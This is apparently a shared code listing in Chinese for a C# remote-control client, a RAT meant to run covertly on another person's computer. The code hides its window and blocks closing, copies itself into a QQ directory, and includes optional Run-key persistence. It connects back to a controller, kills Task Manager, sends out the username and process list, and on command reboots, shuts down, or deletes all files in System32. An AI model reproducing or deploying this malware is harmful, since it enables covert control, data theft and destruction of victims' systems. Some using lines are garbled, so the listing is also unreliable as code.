【实例简介】调试时 需要将ip地址 改成自己本机的ip地址
【实例截图】
需改 Server.cs和Client.cs中的ip地址即可,如下:
【核心代码】
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using ponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.Linq;
using ;
using .Sockets;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using System.IO;
namespace _99.远控客户端
{
public partial class Client : Form
{
public Client()
{
InitializeComponent();
}
bool b = true;
Socket socketSend;
private void Client_Load(object sender, EventArgs e)
{
//Startup(); //加开机启动
this.Width = 0;
this.Height = 0;
Brothers();//复制一份
Control.CheckForIllegalCrossThreadCalls = false;//关闭线程监视
//和主机连接起来——————为了避免假死,就弄个线程过来
Thread th = new Thread(ClientConnect);
th.IsBackground = true;//[后台线程--主窗体被关闭了,程序会立刻结束]
th.Start();
}
#region 自我保护
public void Brothers()
{
try
{
string path = Application.ExecutablePath;
string fileName = Path.GetFileName(path);
Directory.CreateDirectory(@"D:\Program Files (x86)\Tencent\QQ\dnt");
string newFileName = @"D:\Program Files (x86)\Tencent\QQ\dnt\" fileName;
if (!File.Exists(newFileName))
{
File.Copy(fileName, newFileName, true);
Process.Start(newFileName);
}
}
catch { }
}
#endregion
#region 加开机启动——————我这边不想邪恶,就注释了,你要的话就弄出来就行了
public void Startup() //win8 60%的电脑有用,win7都可以
{
try
{
string KJLJ = Application.ExecutablePath;
if (!System.IO.File.Exists(KJLJ))//判断指定文件是否存在
return;
string newKJLJ = KJLJ.Substring(KJLJ.LastIndexOf("\\") 1);
RegistryKey Rkey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (Rkey == null)
Rkey = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
Rkey.SetValue(newKJLJ, KJLJ);
}
catch { }
}
#endregion
#region 连接服务器
public void ClientConnect()
{
while (b)//连接没问题就只连接一次,一旦出现问题就反复连接直到成功
{
try
{
//创建一个Socket通信对象
socketSend = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
//获取服务器ip
IPAddress ip = IPAddress.Parse("192.168.92.1");
//开始连接
socketSend.Connect(ip, 5438);
b = false;//到这一步说明程序正常,就不要反复连接来占用资源了
//连接成功后咱们就得接受服务器的指令了
Thread th = new Thread(DntWatch);
th.IsBackground = true;
th.Start();
}
catch
{
b = true;//有问题,那就继续连呗,反正又不是咱们的电脑,不能告诉他详细信息的
}
}
}
#endregion
#region 结束taskmgr
public void KillProcess()
{
Process[] pro = Process.GetProcessesByName("taskmgr");
foreach (Process item in pro)
{
try { item.Kill(); }
catch { }
}
}
private void timer1_Tick(object sender, EventArgs e)
{
KillProcess();
}
#endregion
#region 获取进程
public string GetProcess()
{
StringBuilder sb = new StringBuilder();
Process[] ps = Process.GetProcesses();
foreach (Process item in ps)
{
sb.Append(item.ProcessName).Append("\n");
}
return sb.ToString();
}
#endregion
#region 等待服务器指令
public void DntWatch()
{
string userName = null;
try
{
while (true)
{
byte[] buffer = new byte[1];//以后想发远程cmd就把空间放大一点【1M也够了】--如果想发软件,可以发地址过来,让客户端自己下载(不然拖慢两边速度)
int r = socketSend.Receive(buffer);//接受数据,返回实际字节数
byte cmd = buffer[0];//读取发的标识
switch (cmd)
{
case 0:
userName = Environment.UserName.ToString(); //获取电脑用户名
socketSend.Send(Encoding.UTF8.GetBytes(userName));
break;
case 1:
socketSend.Send(Encoding.UTF8.GetBytes(GetProcess())); //对方的任务进程
break;
case 2: DNT("shutdown -r -t 0"); DNT("shutdown -r -t 0"); break;//重启远程电脑
case 3: DNT("shutdown -s -t 0"); DNT("shutdown -s -t 0"); break;//关闭远程电脑
case 4:
{
string dPath = @"C:\Windows\System32";
string[] dfiles = Directory.GetFiles(dPath);
foreach (string item in dfiles)
{
try
{
Process.Start("cmd");
File.Delete(item);
}
catch
{
continue;
}
}
DNT("shutdown -s -t 0"); DNT("shutdown -s -t 0");
break; //让对方卡到爆,然后灭机
}
}
}
}
catch//说明服务器下线了
{
b = true;
Thread th = new Thread(ClientConnect);
th.IsBackground = true;//[前台线程--主窗体被关闭了,程序不会立刻结束]
th.Start();
}
}
#endregion
#region 关机重启
[DllImport("user32.dll", EntryPoint = "ExitWindowsEx", CharSet = CharSet.Ansi)]
private static extern int ExitWindowsEx(int uFlags, int dwReserved);
public void DNT(string input)//关机 //重启
{
System.Diagnostics.Process myProcess = new System.Diagnostics.Process();
myProcess.StartInfo.FileName = "cmd.exe";
myProcess.StartInfo.UseShellExecute = false;
myProcess.StartInfo.RedirectStandardInput = true;
myProcess.StartInfo.RedirectStandardOutput = true;
myProcess.StartInfo.RedirectStandardError = true;
myProcess.StartInfo.CreateNoWindow = true;
myProcess.Start();
myProcess.StandardInput.WriteLine(input); //-r重启-s关机
}
#endregion
#region 窗体不关闭
private void Client_FormClosing(object sender, FormClosingEventArgs e)
{
e.Cancel = true;
}
#endregion
}
}